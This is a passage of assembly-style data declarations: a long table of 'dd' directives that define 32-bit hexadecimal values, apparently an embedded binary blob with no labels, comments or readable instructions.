		dd 406C697Ch, 0F81B008Fh, 6F76FE5Ch, 0A80009CEh, 8BD6A23Ah
		dd 0E06A6799h, 0E8780Ch
		dd 8850EBCCh, 0E0C491A7h, 0E9983E00h, 5C4BC3C0h, 0F8200029h
		dd 637E544Ah, 107F3812h, 0B053922Eh, 0E02E3200h, 160D4A9h
		dd 918CAF46h, 0CC6AD071h, 42000609h, 2DB5503Dh,	0D211F6h
		dd 0A4984EB6h, 375EA080h, 78CDEF00h, 0D62814DFh, 0E73B01B3h
		dd 0A4F1E2BEh, 80A48079h, 8F46F34Dh, 0DBAF0060h, 0BF495945h
		dd 0B5008164h, 51129AAAh, 0B8ED22h, 0C2A15611h,	0C0BAE9D8h
		dd 93490B00h, 0FF44DA52h, 555B00C1h, 2E96B9A6h,	0BA4C0EE3h
		dd 0AFD80097h, 0A8D4670h, 0AB5D0708h, 70CE4FEBh, 0F90D973Eh
		dd 0FA5ED200h, 0BAC244D0h, 0D59A0055h, 0B2ACA03Ch, 721FDE10h
		dd 0E84A8EFBh, 0A200FA79h, 874246F4h, 0DCFE022Ch, 0A377FACDh
		dd 20B6F640h, 0EC50BDh,	357A55B5h, 0FB66E70Fh, 48984700h
		dd 735F9A80h, 6C0700CBh, 4DF27636h, 0BE00AE56h,	2ACE09ACh
		dd 3AF32093h, 0B80800Ah, 0E2B4265Eh, 1303557Fh,	9802A836h
		dd 0FA40BFA2h, 0A0117Eh, 0B6DAD038h, 4EC8284h, 48A71F00h
		dd 8A62BCC2h, 0F68500B5h, 11C0CF30h, 0FE3F6FEEh, 0D7BB00C1h
		dd 4104B4ECh, 0AFFEBDh,	1872CD95h, 3C604B37h, 562C2A0Bh
		dd 4C638069h, 0B8544F79h, 0D0C8013Dh, 2B721F8Ch, 0D295C4BBh
		dd 0E08DFC00h, 0F3D6A6EDh, 0A2F005Ch, 1E5BD1ADh, 8A00EE88h
		dd 1742592Bh, 0F28FD9h,	21EAB208h, 6213BF02h, 0F3E52207h
		dd 0A6E05687h, 89EFA7h,	0C2555C5Eh, 3E9F4F2Dh, 0ED3300Fh
		dd 0E018EEFAh, 3F745E79h, 5F5A007Fh, 0EFC89B67h, 0E200F521h
		dd 4EFEE954h, 6E898Eh, 7BBC4DCCh, 0E5B6CFD1h, 4309097Bh
		dd 83EB5A15h, 0B005474Ah, 2DB2A5h, 98194E01h, 325B29BAh
		dd 984B4Ch, 743D53DEh, 61A488h,	0E515D875h, 1F70EE95h
		dd 2639031Ch, 0E7CA03BFh, 0E1C25244h, 3FE478B2h, 6F1C00D7h
		dd 6763A7ABh, 5EFAFE3Dh, 0F85C6103h, 902B6E56h,	14C7DD1h
		dd 0E84FF65Fh, 0D49887EBh, 0BA98F4AEh, 0A3FF2B00h, 0E76B20DDh
		dd 3CB300C4h, 7AC2D3E8h, 0F4001BC9h, 3EE9A3A9h,	29BF843h
		dd 0EC38604h, 0D4077D4h, 58004C94h, 4EFBA717h, 0F0CC7863h
		dd 0F02A0020h, 6B43AF84h, 320399ADh, 0C90708F9h, 4447A898h
		dd 8EE200B1h, 388387A3h, 8E90D0F6h, 2476DC0Eh, 987060A4h
		dd 5C0412D2h, 73033D87h, 7EE056ACh, 0BB196CF8h,	0C9EED500h
		dd 2229BC6h, 80139A1h, 2B092080h, 863483AEh, 0BADDAC00h
		dd 938D4810h, 0AB21009Eh, 0DBCEE23Eh, 0B50027BCh, 5D16BFC9h
		dd 86062Eh, 6DE712EAh, 4FF7C348h, 0F60018ECh, 30D9B76Eh
		dd 16F0AFh, 0AABD250h, 0B81C048Dh, 53D1E09Dh, 89D300DEh
		dd 0B5E830F9h, 4C0092F2h, 0FF5780EBh, 3E5A10E3h, 34802A11h
		dd 931B9C36h, 0F1000270h, 377C1D3Fh, 0D6DBCDh, 43B0E4A0h
		dd 9087E7F6h, 4A583500h, 0A5993363h, 0FC110377h, 7FDB0284h
		dd 9DDD3488h, 7324DC60h, 0C5E7CFh, 0E0FAA3CAh, 55B28579h
		dd 95F01D0Fh, 0CE03A02Ch, 3EF916h, 1AED84D3h, 9F4A6EA1h
		dd 0AD5F2016h, 0C333D201h, 0A2C89CCBh, 53900A4h, 0F1ED6110h
		dd 0B7001389h, 733F2B32h, 0BB5CBCh, 4A506912h, 252E8B9Bh
		dd 45CA6C00h, 21850C61h, 74200009h, 0DA55881Ch,	0CD3B1EF5h
		dd 80C6B829h, 4C7F6D8Bh, 13B6FABAh, 0FCA008h, 0D9C96938h
		dd 2B00D024h, 66CBC407h, 0E268759Eh, 0BD4C0018h, 13446119h
		dd 0DC001FD0h, 0CA456714h, 6A9EAEh, 6F65DB2Ah, 0EEB070E0h
		dd 553C7A07h, 8CB0E251h, 38FBB1h, 0FE4AFF92h, 0B74D33C3h
		dd 73609A00h, 7162802Bh, 85DE00E0h, 0B12A6E04h,	30000574h
		dd 0F8C8AD23h, 0FFC45D3h, 965B9028h, 0C2803B5Ch, 0A0FEA6F1h
		dd 361DFA0Fh, 8C02FE5h,	0DA56C618h, 0F65807E4h,	901E22BDh
		dd 0C71FB17Ah, 680F9079h, 60E775BFh, 0D304A579h, 44C00716h
		dd 80F24E67h, 42499CCAh, 81F16500h, 5F2878DFh, 3BB71E01h
		dd 98DB8680h, 0F0090B6h, 0AC17AA09h, 1F3D59h, 0A8587E6Dh
		dd 8B05ABB5h, 5313C80Fh, 0DF0CE02Ch, 705101B6h,	1ADE1CFAh
		dd 2AA78034h, 0BC40F8BFh, 6FDC0600h, 9768D941h,	19DD0043h
		dd 64B066B1h, 0BB0090FBh, 0BCAAEE92h, 1D2B50h, 9F686C1Eh
		dd 1733D7B5h, 0A700D679h, 0C547B14Ch, 8B8F76h, 0F2D521C6h
		dd 5D253DCFh, 1D46C800h, 998174E9h, 0A4E4008Fh,	2F5A7C26h
		dd 7AEEC671h, 9A706101h, 51F204C9h, 111E8h, 0DC4A7454h
		dd 82D344CBh, 34CCA800h, 5958FC32h, 0E07F0043h,	9223A0ACh
		dd 0E17EFFC3h, 90844000h, 0CCE7B9DAh, 29D600FCh, 2AF4D1A8h
		dd 85707667h, 57562700h, 7CE67FAEh, 11600045h, 2D1639D1h
		dd 9000A8E4h, 6F55E5CAh, 0B9BC66h, 741EA4CCh, 0EFDC01C4h
		dd 0E702E600h, 2441E07Dh, 0C0971D03h, 0AA498073h, 792CA77Ch
		dd 0F3E2B700h, 745320B0h, 0B95038Eh, 6771EDA2h,	87BDFE80h
		dd 7061A739h, 30DE841Fh, 0C0830E4Eh, 6DA9970Fh,	0F3230014h
		dd 51908B9h, 3E0051FCh,	1675C43Dh, 2203B67h, 46B711Fh
		dd 0E7C0445Eh, 797E9906h, 1C022EF2h, 0EED9A0A4h, 89CF80D3h
		dd 3E6659B8h, 5B805E1Eh, 25DA147Eh, 7C001149h, 0F4A57024h
		dd 0BBBE904h, 0F7C94EBEh, 0D836E980h, 87003C7Bh, 38DD85CEh
		dd 3BB2FF26h, 0D4806F70h, 8A2528F4h, 0A1F8D146h, 5CEEFB00h
		dd 0AE3A37Ch, 156C0E8Ch, 0CE4F221Ah, 582FC580h,	833E3ACFh
		dd 0FAB60031h, 1B91D1B3h, 7EE244h, 7009E998h, 7D468188h
		dd 10CEAD00h, 0DBC57443h, 5CBD00B7h, 3C8B4A4Eh,	2D1CA778h
		dd 7600D5C1h, 925396F6h, 2B4300A4h, 0E5DD6B5h, 2F00CDF1h
		dd 0BA720998h, 3FD5E71h, 5F260F1Bh, 6498E542h, 2C0037BFh
		dd 54CC12D9h, 0B838C3h,	0C0D47F7Eh, 0F519E95Dh,	70FC9D00h
		dd 313BF76Bh, 0F65700E0h, 0D362DD01h, 0AF0EBAC3h, 0E08CC27Bh
		dd 0DC43F5E5h, 22E45Ch,	8AF615A8h, 91350B74h, 0EEDA900h
		dd 4E9B3997h, 0ACFC000Ch, 4A9F481Bh, 1D24D78Ah,	54003772h
		dd 8F7AEAF5h, 36C700E7h, 6CAC4CEEh, 531C25E2h, 50C007B2h
		dd 0C1449619h, 0B9E300DFh, 0BEE6D6A1h, 173C8E40h, 0D7F100F3h
		dd 0FA9E2B64h, 9AC700CDh, 0ADF93742h, 0BC074E1Ch, 48DC7A03h
		dd 0E94A1460h, 97E007Dh, 5EFC57E1h, 64709281h, 614F9700h
		dd 656BB238h, 0CFD20028h, 959CB651h, 0DF3841C0h, 7F028001h
		dd 2DA65A24h, 9B080440h, 80B661B3h, 0AA1637BDh,	52B8F960h
		dd 0EE8A1D34h, 7877008Fh, 0BF15AD71h, 6381832h,	28078072h
		dd 4D7909D4h, 0DAA500A6h, 0C5666D88h, 83008DA1h, 166E3E0Bh
		dd 0AA89Fh, 681AD30Ch, 0A99EE4C7h, 5236DA00h, 5DD5F68Ch
		dd 2BEA00B9h, 4D67D224h, 0A30048BDh, 0E499022Fh, 48E9965Fh
		dd 0AB0025ACh, 0DDC26179h, 4200387Bh, 1A59517h,	1E20731h
		dd 9A58A632h, 0E4E84B82h, 0AF6AC71h, 0E9B29907h, 60605003h
		dd 0F1062C6h, 0CA5A4CDFh, 1ABB57A0h, 71009C08h,	22128155h
		dd 5A4C961h, 0DA420375h, 40AE807Dh, 9B5CB131h, 52D600CFh
		dd 0C4B2590Ah, 9D5A004Dh, 0A7D367C8h, 0D100633Dh, 0A5F3A6EBh
		dd 7CAFE21h, 0B5F10CAFh, 0B8E870FFh, 40031D20h,	74EE8744h
		dd 4B639017h, 35800062h, 5F9ECF6Fh, 270A5702h, 0CE132AF0h
		dd 0EE7A6B00h, 262547E7h, 0A27148h, 19B6388Dh, 9500A1A0h
		dd 6A2A6DE8h, 0A084D244h, 75367FEh, 1A6477EEh, 426E16CAh
		dd 0F7A6E300h, 9F1B297Dh, 9DAF00C7h, 528C7F9Ah,	23004DA9h
		dd 0D09E80D2h, 7F33DEABh, 977BCFh, 351AEE7Ch, 3118B6BDh
		dd 0E88DDF03h, 8078A0A3h
		dd 0CECD60h, 5A283034h,	913CC847h, 0ED708900h, 8A3D809Bh
		dd 6BF800EEh, 0AE4E033Eh, 0BEE63382h, 0E6729500h, 9F3B1DDCh
		dd 6BCD007Eh, 0D63CD117h, 0BF00EFEBh, 0A2ECFB22h, 1B94F08h
		dd 0ECA49DFh, 0C089B270h, 0CC00DA1Eh, 0A15579AFh, 3D742A5Ch
		dd 2F1CB14Bh, 0CDFC408Ah, 48D5B33h, 0C02FE00h, 40267E82h
		dd 397D0086h, 936512F0h, 46008BF6h, 34FBB43h, 1D7A6AE5h
		dd 40ACF25Fh, 0ABA1ED55h, 61E8236h, 844B74DFh, 0B41781E6h
		dd 56C49F8Fh, 26BA1C88h, 0D872402Ah, 0A4788D84h, 0C5679E00h
		dd 36EB83CEh, 94F1005Fh, 0E2987F31h, 0AF00ABF5h, 8D6124DAh
		dd 12FFD9h, 0A4E0B866h,	7B81C149h, 0E5587900h, 15605C7Ch
		dd 0B1060023h, 47A59BE7h, 0FB001399h, 0BB647465h, 2257FEh
		dd 0B31263DDh, 66BA4814h, 8BE24901h, 3396C105h,	0AC4EAF5h
		dd 1C3400CAh, 0C6B30955h, 0E000A96Fh, 8DF29C37h, 0DC2D9Fh
		dd 99AAE1DBh, 0D9D71CDDh, 34B7B807h, 0C4203C37h, 66395h
		dd 0D12A45E8h, 2BB45BC6h, 0A13B3973h, 95118041h, 36829CE2h
		dd 917500EBh, 0C23AFD3Bh, 0DC072C21h, 5CD1BA84h, 38F524C0h
		dd 0E9D80003h, 27CE08Fh, 0C60F6D4Ch, 0C0D11BFFh, 3529F8EFh
		dd 451200B9h, 7F82C0DBh, 0FC00FFB1h, 2425426h, 2A14A0h
		dd 0B3D69068h, 0F6D3E1C4h, 0E5D50400h, 0B6118E6Ch, 14C70E93h
		dd 554166F1h, 0DC8894BAh, 153975F4h, 0B367801Dh, 13341050h
		dd 32C50504h, 8061A528h, 0BF552094h, 0BBB23B00h, 72904C73h
		dd 58D0011h, 0A1A2379Bh, 600FAAF5h, 377AB3Ah, 0C864B981h
		dd 16F35Dh, 0B87E3E17h,	0AD39B5BEh, 3BA3300h, 0B390521Ch
		dd 88490F91h, 95E06DECh, 0F64696B8h, 8CE45A00h,	0CFF006B0h
		dd 0FB8F0FC1h, 7640E374h, 6F81D544h, 0D107C00h,	2306A533h
		dd 0D42B00B7h, 85706C2Eh, 2D00862Ah, 454AE7E8h,	1FF9C759h
		dd 9F4EDAh, 7977E9D2h, 0FA00C8A5h, 0D002CB23h, 85D5C0h
		dd 1DFD195Dh, 54F9896Ch, 2500D6F6h, 15BE87AEh, 0C109CFh
		dd 867E91C2h, 0F980DFE5h, 0BAB60203h, 0A0F76F7Dh, 9B24BFh
		dd 3B07BF2h, 9FC656A6h,	0D73E5307h, 64D0C9B5h, 0D5342Ch
		dd 4BAB3115h, 52F009F5h, 4E20FF00h, 0E9B5DD60h,	0D7A0007Bh
		dd 0CB0E4B76h, 9301DC6Bh, 635DE7ADh, 85D4D23Dh,	14DF07FEh
		dd 0A0FFBBA8h, 0C11583F9h, 7CBF7901h, 4DEEC671h, 7444C4h
		dd 11C87EBCh, 0B5E130AAh, 53CD0607h, 23F0468Eh,	7780CCh
		dd 49F6C669h, 62749BF2h, 123EA900h, 7D2F4F61h, 86DA0EA1h
		dd 0CA80FC5Eh, 6DE1A0FDh, 58ABC800h, 0F10FA7F2h, 86BE00D8h
		dd 0E7F8EB95h, 8200D59Fh, 0F0A36BC0h, 0FB14CEh,	8DBFF209h
		dd 0AD666960h, 8034253Bh, 38A5F84h, 0A0C7ECh, 5355F32Eh
		dd 22D4940Ah, 91BF9800h, 0C263723Ah, 0F3A003D2h, 0A96E4050h
		dd 80B7E3BBh, 10B0754Bh, 0F7580E00h, 57402E79h,	0FD6000E9h
		dd 0CE3AAD1Ah, 661F5401h, 2802C7Ch, 0B1DBB752h,	185300CFh
		dd 0D6ADDE1Bh, 3E009594h, 5444CCD4h, 897509h, 4CEAF08Ch
		dd 4E8ECFBFh, 8D9FCA01h, 19C15647h, 1F7734F0h, 24C79795h
		dd 8E280033h, 57084BB7h, 9924D8FEh, 3C0086ABh, 0EEA2D402h
		dd 0A6DE6039h, 0B6E673E1h, 0C03F5000h, 4262835Ah, 29A43AA1h
		dd 0CB483E01h, 80278D0Ch, 0C79A873Eh, 0CE6698h,	0B6A2E24Bh
		dd 8FA92CB1h, 233ECC7Eh, 8E5D006Bh, 0E99289F6h,	0FDBD0140h
		dd 0EB62D628h, 0B539E450h, 4844F139h, 2F820050h, 5C989A5h
		dd 0B6F6001Dh, 0CB511A55h, 9D0039D3h, 24139CEEh, 30E411h
		dd 76A90DF7h, 533FA8BFh, 43D9C300h, 0D82FEEFBh,	0C65002Ch
		dd 10A46DF8h, 1DE8B93Eh, 0E79E972h, 99BE81Eh, 1A8D2C0h
		dd 5CCC245Dh, 12000E96h, 0B16DE64h, 9900FB7Bh, 85AE684Ah
		dd 94EA87h, 3E59A204h, 10B97408h, 0AC1EDB00h, 8AFCB6A5h
		dd 0E5A800B0h, 7B5953FAh, 0BC00A628h, 921C9BD8h, 1E774451h
		dd 0C007AA80h, 2731BB0Ch, 2900B0DEh, 83703D9Ah,	3C0F387Ah
		dd 2A0B534Bh, 5D000DEAh, 76246777h, 0AC68A604h,	2280C527h
		dd 0B49DF2h, 9EEFC48h, 0F8C0D814h, 67AD1800h, 538DAF0Fh
		dd 0B47B68h, 0A84A96ABh, 6CF4ED63h, 9485E1Dh, 46857900h
		dd 252F3h, 7F33FC87h, 0E65E92B0h, 19DDB201h, 0CB220B15h
		dd 3BEB0DF0h, 780E7E0h,	66F691B7h, 2C079E28h, 0F36B306h
		dd 3D8596A0h, 87F4E9A2h, 336B0E68h, 809F4D56h, 4A3A6FCBh
		dd 0A103E42Dh, 662C807h, 0A6F3C0C4h, 0C029074Bh, 13E15483h
		dd 0C9C08D9Dh, 0BF00CBCDh, 0ECA0A265h, 0F192FAh, 0DFC5FFC3h
		dd 0EE0DA3DBh, 20783803h, 0F94D05Dh, 5E673954h,	4EA8B580h
		dd 7A004B7Dh, 0B7EDC92Dh, 7A6DA036h, 54641C9Ah,	28028267h
		dd 0E4401006h, 0E80BC13Ah, 803DAD27h, 4A3E1D50h, 327724FFh
		dd 12100060h, 6122D0DDh, 30635506h, 1A0BD5h, 94E8B132h
		dd 797A12D7h, 0AD0071ECh, 0FA816C9Dh, 3B82826h,	3F895C34h
		dd 8BC0ED51h, 7158EB4Ch, 0CD9E00A9h, 0AB947519h, 0C250013h
		dd 2652A216h, 0FA1C8AD4h, 0F0800D14h, 1121F169h, 0EC32006Ah
		dd 24FFB3B2h, 8C001548h, 7AC7203Bh, 75AD04A8h, 4F7500F7h
		dd 7BCD3553h, 0B100036Bh, 7E7160FBh, 0FA79F2h, 148319A5h
		dd 3D688B1Bh, 43C70D01h, 9E0F4D69h, 7D0377ECh, 92701D8Ch
		dd 15CD808Eh, 0DAA8C2E1h, 0BD865C00h, 4D3F87C0h, 0C960005Dh
		dd 5A561407h, 34733825h, 709FFD03h, 0C895E133h,	53BF6h
		dd 1C647EB3h, 9B623D79h, 82600F04h, 0EB809774h,	0E47DE32Fh
		dd 52E500AFh, 5821178Ah, 76039624h, 32F1ED4Ah, 8283B85Dh
		dd 0F5EF0034h, 152D9EF2h, 69038DB2h, 6111CAB7h,	753CD079h
		dd 0D5F30080h, 0DDD7D129h, 7716C443h, 0CD00F141h, 63A270EEh
		dd 19E0086h, 609F8E4Dh,	0EF009762h, 93CB6155h, 0BDE1571h
		dd 0BC7A35CEh, 81398280h, 0F100284Eh, 70953436h, 0DB864Dh
		dd 0B0272942h, 14580A66h, 7C795400h, 0E6FB533Ch, 0E57B006Bh
		dd 0E9685B7Ah, 167F8348h, 0EC759D00h, 415DD460h, 1CA7365h
		dd 0A5C9372Fh, 703EAFF2h, 7E00BD6Ch, 79214752h,	0EA5532h
		dd 144411EEh, 60197301h, 480CC61Ch, 2E45C1C0h, 847FDh
		dd 0F03991B2h, 6DD8590Fh, 5D2D5A0Fh, 29B18043h,	0BD5B1Bh
		dd 2BBB7B0Ah, 0E9EF8483h, 0D2FC2F00h, 90E8B69Dh, 0C6C90046h
		dd 4D4E9AE5h, 9200B5B7h, 0D33FBAC2h, 5CB8538Ah,	6700B22Ch
		dd 0D7EBDCADh, 5E0326B6h, 0DF71AE30h, 4F7BC048h, 29080084h
		dd 0B7D7A5A8h, 4E1E178Fh, 9781FBE6h, 7EE56707h,	485560h
		dd 0D6DC2EF9h, 0F1EB432Ah, 0E7E41800h, 0F27336DBh, 0C1F2D7h
		dd 0CC8294DDh, 569A14E6h, 0B380A600h, 0DA472732h, 5D6E008Dh
		dd 0DF44AFD6h, 5100FDD1h, 93E3F560h, 23697Bh, 0A3332A09h
		dd 0E7B89A75h, 81DE5B0Fh, 77ABC28Fh, 744AC073h,	511EE0Dh
		dd 3F6CCC7Ch, 0C6FBC05Dh, 27749B35h, 4278AF00h,	92D0D111h
		dd 0EB2D00DFh, 94F3C972h, 0F471C3B5h, 93355603h, 0F9FD971Fh
		dd 0B06F5D42h, 1005585h, 0D7176678h, 0EF5E1Ah, 0EA260714h
		dd 65714991h, 24E9E800h, 40A7A143h, 0F27500CAh,	9927B5EBh
		dd 0DDE816CBh, 481C3Fh,	0BDB42A01h, 7AC2F6h, 69800E6Ch
		dd 2CC9552h, 81B27300h,	9DA7E332h, 0E6317037h, 7E9C1FCEh
		dd 0C9111E24h, 80FD1579h, 6AF74CF7h, 0AAB6096Fh, 8700A695h
		dd 50FF8883h, 5FA5C100h, 0EFDE2C01h, 0DCB11FB7h, 690747FEh
		dd 0E1373053h, 7207D142h
		dd 0F7C52EEDh, 64C98D0h, 0B1400F8h, 0AC44A729h,	681FF056h
		dd 280DC6Ch, 47F39B19h,	329400CFh, 0CAC7164Fh, 0F700D3B5h
		dd 0DE45FBD1h, 3B4AFCCh, 0ADC10CA8h, 79E06DEFh,	6E008471h
		dd 74AC7BB0h, 0CF702Eh,	137A391Ah, 62169399h, 0CB2B7628h
		dd 0A8614A00h, 6B5C52D9h, 0C52203AEh, 316601D6h, 19099D88h
		dd 1F577800h, 0BE687284h, 0D152003Ah, 0BC66CDDAh, 1D012AAAh
		dd 9BDE2801h, 6020DBCCh, 37C985Ah, 7205BEF0h, 0CAD91CC6h
		dd 71D1F08Eh, 5B34A707h, 0D4C337C3h, 83EFD86Eh,	9660507Dh
		dd 7B0714Ch, 3CA51E0Fh,	2728500Ah, 0B100F0B6h, 31EFA240h
		dd 7388B2h, 0D28D0E0Bh,	63936B5Eh, 0A606BF03h, 0B0C843D6h
		dd 0A9202Ah, 0CD7AE128h, 0CBC0821Eh, 0FB35C500h, 13854664h
		dd 1CDF00B2h, 0A2F0ED50h, 7E72B6BFh, 64D76303h,	0A83C0142h
		dd 0F8A1D4C2h, 0EB70007Ch, 21B78379h, 0F000F83Bh, 1ABBB1CFh
		dd 0E84FAFh, 4B20700Dh,	0E17E1795h, 9D601024h, 21EB0900h
		dd 0EA6FE850h, 19BC004Ah, 9D014B55h, 0CE00D25Fh, 58735C92h
		dd 79D7AE2Dh, 2E53009Bh, 6FD57F50h, 8E906AA7h, 0EFAF8D00h
		dd 4BA1A033h, 52E40078h, 735FDA18h, 0F51DBB82h,	0AA40CA8Bh
		dd 80C16509h, 0E39099h,	54ABF303h, 37DE1A06h, 0BECA9400h
		dd 214D28Ch, 0A6750Ah, 52C47256h, 59FC98CCh, 36CE6907h
		dd 8069BD8Bh, 67B83F6h,	0A5FEE2h, 8FE555D4h, 46C64F6Ch
		dd 0ADE41400h, 0F3022B31h, 4E08005Ah, 0C7F0E25Bh, 8900E586h
		dd 0EDC12DD3h, 0F5721Bh, 75787714h, 9C3E76Bh, 0A1A2C07h
		dd 0BDF02E92h, 2469331h, 51E01701h, 0C263242Bh,	0E49FD7A1h
		dd 77007DE5h, 71FFDD11h, 14592Ch, 3DBB4F24h, 96A945D4h
		dd 0BC01C900h, 509223ADh, 0B2FAF2h, 603653F9h, 0CE0988A9h
		dd 87A6E23Ch, 0A773547Eh, 9AC0BF25h, 0F354885h,	1F8EA9CAh
		dd 62C43000h, 0B5006DAAh, 28654F46h, 386132h, 1AFAD970h
		dd 5F204950h, 300B9900h, 0E9A8878Ah, 0FB22005Bh, 1F9757E1h
		dd 20056BAh, 0FFB83850h, 10B7B37h, 39C3F47h, 20BB624Ah
		dd 4F008ECAh, 942978A1h, 5A6B98h, 0C3F441ACh, 0A09531E3h
		dd 1A48231Eh, 178C4FC0h, 1DD535h, 8581A9E8h, 0F6D2EC6Dh
		dd 0A6003D7Eh, 0CE277C91h, 7CBA1B2Ch, 0E6A4008Eh, 35C10DC3h
		dd 303CC017h, 0F80009Fh, 0F3790976h, 78F100F4h,	44AC1037h
		dd 0CE007F83h, 0C8ED9BCCh, 0FE6109A4h, 5C2A002Eh, 69CC1D7h
		dd 4700AF97h, 0E8A262F2h, 3B63C55h, 9669DEF6h, 57E8674Bh
		dd 0A6EABBADh, 0AA3B892Ch, 0F72F09h, 6234326Ah,	6B800096h
		dd 0BF1767D4h, 780083D0h, 0B359AC3h, 2795EBh, 6615762h
		dd 63A9E56Dh, 9F43703Fh, 1D00835Dh, 8DA955Ah, 776100B4h
		dd 4330B6E3h, 5874E0A5h, 0BA26C8FCh, 1300DBAFh,	22A806B5h
		dd 70172D3h, 9C943A1Dh,	0B0DA47DBh, 449E0917h, 0B2BDAA00h
		dd 775A9F75h, 0A91E00E5h, 259748C5h, 59039870h,	0D9AA56A1h
		dd 2F9FA0D6h, 0A362008Bh, 1AFECD29h, 48016D2Bh,	44056B7Eh
		dd 3AE891F4h, 0DC9D0590h, 0C77073FCh, 0E38B10FEh, 89006582h
		dd 376CCEDFh, 2D8EA8h, 0A98F05D2h, 460FC45Ch, 1A527D00h
		dd 0FBCC7920h, 0C8BD0090h, 0A3724D1Bh, 0C100CF7Ch, 58CB7E3Dh
		dd 0F3FE08Ch, 0E79AE923h, 0B515B040h, 5F0E4838h, 804EBAD5h
		dd 8A711FB8h, 44A2034Dh, 6DCE6C77h, 0FEA94BE0h,	6123902Ch
		dd 0AB04700h, 1896B7h, 1CEE714Ah, 70B601EDh, 7641D000h
		dd 0EF5CE495h, 901B00B2h, 0C0B7F29Fh, 103DD89h,	5A9224FFh
		dd 3F5D986Ch, 763E2A7h,	0F5BE86D1h, 6A9D601Eh, 0BD00D90Ch
		dd 2E50AA2Ah, 30B949Eh,	863E68DDh, 0DC901977h, 17000A1Dh
		dd 0C0CFC960h, 0EED18847h, 244DE899h, 1DC6CB6h,	5091CB25h
		dd 0D70BF81Fh, 0AD961400h, 0ABC3D906h, 7BDF2CE5h, 0BC2E00FBh
		dd 0B172D013h, 2AEF9400h, 4948B2CBh, 9DAC07F6h,	0C08DAAC9h
		dd 3B75306Fh, 58290100h, 0B7ABB018h, 0D6EE0009h, 0CE5AF905h
		dd 5D006497h, 0D41FCC7Fh, 48399520h, 0F33FAEB8h, 0D6980487h
		dd 6E91604Fh, 0D900A448h, 0E19310FFh, 78B62C1Ch, 0C61305B4h
		dd 0C108B995h, 0ECA46BC7h, 0B00416Dh, 0DBFEA55h, 5CB280h
		dd 34A2D364h, 51DD744Eh, 0F89A6801h, 7BE601BEh,	3D5FF8h
		dd 12A41A64h, 49EE5D0Fh, 0FD3A07ECh, 3445814Dh,	610C1588h
		dd 2CCE78CCh, 0D304B2h,	82520E29h, 0C93AFD5Eh, 4C79803Ch
		dd 76887D74h, 0CB49488Fh, 50E78400h, 0E64B9A6h,	0BC0029FCh
		dd 5D7A960Ah, 335C68h, 7B77301Bh, 6CDD73C9h, 0D1079CF6h
		dd 86F8CE0h, 8ED921FFh,	5EDDA24Bh, 5C22D4h, 6A13B48Bh
		dd 5F9941C3h, 606E4D00h, 0AC5DD19Eh, 2CEF004Eh,	0E1828885h
		dd 773D9264h, 6FB8071Fh, 7287734Ch, 0D34A3CF0h,	0ECAD00B9h
		dd 93E28DEAh, 67001BDDh, 19EF5079h, 110A081h, 0C918F8CCh
		dd 0FC4E99A8h, 0A51DABE7h, 59C5D4BFh, 0F48056ECh, 2EF0C4h
		dd 1336B3AFh, 4A08EA8Ah, 83D44E0Fh, 75F940FAh, 4820EE1Bh
		dd 2F00985Ch, 4003B4FDh, 370FD292h, 4017E42Dh, 46D9F158h
		dd 650D0BB0h, 0D8009793h, 73F84AB5h, 5700BFEEh,	83F12D08h
		dd 13BEE7D5h, 90FA42h, 3098EF19h, 290F9232h, 0C0CA8439h
		dd 0D2F0687Ah, 0C97DA3h, 0B8D4AF4Bh, 24E53AF9h,	33543900h
		dd 99B6DBB1h, 69BC00BDh, 0E3D67A02h, 1000EEC3h,	0E5598AD9h
		dd 860A61h, 0B8624305h,	11B05890h, 335EB100h, 0A8868E1h
		dd 0CB4B003Ch, 0C6CA7B19h, 3D00A878h, 0DD9FF308h, 1F79C34h
		dd 0FF358696h, 60B3DEDAh, 8002CC8h, 0E63F8B53h,	0E80B7h
		dd 14EF2E9Eh, 0B8C9200Bh, 4EED8D00h, 13E76658h,	0FF7AB1h
		dd 6BE3F9B7h, 6A75997Eh, 0E126300h, 6E3C1C42h, 0B13F00DBh
		dd 25EF8D1h, 9F034A45h,	0F3F7FA93h, 348FA0FEh, 6AD100A8h
		dd 9FC3022h, 0AB7E42F8h, 0ED31E600h, 253BC274h,	5BA70063h
		dd 6E8422C9h, 1E00FA6Ch, 0CFB1C4B9h, 3C99B2h, 0A62EC621h
		dd 7BE2D390h, 0B984550Bh, 0A9CF8002h, 9789CEh, 934A4727h
		dd 1563F831h, 61CC8300h, 2BE52ABBh, 3D810029h, 3F01DA5Dh
		dd 0F7762516h, 1326F101h, 91C4B1F0h, 8CEBB06Ah,	0FA4D2800h
		dd 519E87ABh, 86991D8Dh, 807CC0F6h, 0F254D3B5h,	696A4907h
		dd 82D79212h, 19E0C280h, 900E00A1h, 0A4B6BF8Eh,	1E0102B5h
		dd 4015EDC3h, 8FD4EAE5h, 0F3F1D28h, 0E35940D8h,	0D7653336h
		dd 35C28D1Ch, 0E916B500h, 1E84F2D2h, 123D90Dh, 0FB28D120h
		dd 7C3E60AEh, 80264E27h, 0D533A01h, 0D26700B9h,	0B39B61ABh
		dd 84009931h, 0DA93493Fh, 7EBDDBEh, 0C9F43BD9h,	0EAC6311Dh
		dd 38D7F8A1h, 6A675600h, 5721372Fh, 3C8C3C79h, 3B96DB0Bh
		dd 7055007Dh, 6FA2BAh, 9E2D9A4Eh, 0C02C2FDh, 0C1582472h
		dd 0AEFC0489h, 75C0B88Dh, 0A2F37Ah, 5AD14ED8h, 89B24D1Fh
		dd 7751DE00h, 9B05B645h, 2A4200D2h, 35D74764h, 6201A3A5h
		dd 6D5B33ABh, 0D1CC6F16h, 0FFF739E4h, 1EBF8D81h, 0E80C8F22h
		dd 0D43861D2h, 0E2CF8E54h, 0FA7EA063h, 5524E9h,	713DF738h
		dd 1ADC3101h, 0DD03E17Ah, 79B2E6F3h, 0BD02F016h, 303703EFh
		dd 0C042F969h, 530AB1EFh, 73B8F494h, 3A922B00h,	496A9EB0h
		dd 39AD0006h, 0CDAA33DFh, 0C9700B45h, 0F0C33B07h, 0B1104C72h
		dd 775A59Fh, 94E9D913h,	1A89E05Dh, 0FF005912h, 25402158h
		dd 0EE961824h, 31EC076Eh, 0A9B5AF23h, 1E436300h, 0C100A968h
		dd 0FE4820CFh, 0D4EDBCh
		dd 560F5B22h, 64B10514h, 7490DFEAh, 28DA6500h, 0C423CAD1h
		dd 0BA4D0771h, 0A0BFEBE3h, 0D2896CF3h, 46B61C00h, 36995B53h
		dd 875162Fh, 63AB00C3h,	0EF9F6E52h, 0C9D0AB00h,	1F6BBCF9h
